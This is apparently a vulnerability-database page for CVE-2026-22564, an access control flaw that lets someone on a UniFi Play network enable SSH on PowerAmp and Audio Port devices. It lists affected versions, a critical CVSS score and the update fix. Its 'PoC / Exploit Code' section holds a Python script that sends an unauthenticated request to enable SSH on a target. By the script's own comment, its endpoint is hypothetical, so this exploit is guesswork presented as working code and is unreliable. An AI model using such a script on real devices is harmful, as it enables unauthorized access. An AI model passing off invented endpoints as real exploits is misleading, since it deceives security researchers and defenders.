CVE-2026-22564

Description

An Improper Access Control vulnerability could allow a malicious actor with access to the UniFi Play network to enable SSH to make unauthorized changes to the system.  Affected Products: UniFi Play PowerAmp (Version 1.0.35 and earlier)  UniFi Play Audio Port (Version 1.0.24 and earlier)  Mitigation: Update UniFi Play PowerAmp to Version 1.0.38 or later  Update UniFi Play Audio Port to Version 1.1.9 or later

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

UniFi Play PowerAmp <= 1.0.35

UniFi Play Audio Port <= 1.0.24

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_ssh_enable(target_ip):
    # Exploit concept for CVE-2026-22564
    # This script attempts to enable SSH on the target device
    
    # Target endpoint (Hypothetical based on description)
    url = f"http://{target_ip}/api/system/enable-ssh"
    
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "CVE-2026-22564-Scanner"
    }
    
    # Payload to enable SSH
    payload = {
        "enabled": True,
        "port": 22
    }
    
    try:
        # Send POST request without authentication
        response = requests.post(url, json=payload, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print("[+] Exploit successful! SSH has been enabled.")
            return True
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
            return False
            
    except Exception as e:
        print(f"[!] Error occurred: {e}")
        return False

if __name__ == "__main__":
    target = "<TARGET_IP_ADDRESS>"
    exploit_ssh_enable(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22564
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22564
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22564/
[4] VulDB https://vuldb.com/cve/CVE-2026-22564
[5] https://community.ui.com/releases/Security-Advisory-Bulletin-063/e468dd4b-5090-4ef8-89d8-939903c08e83

Raw JSON Data

JSON

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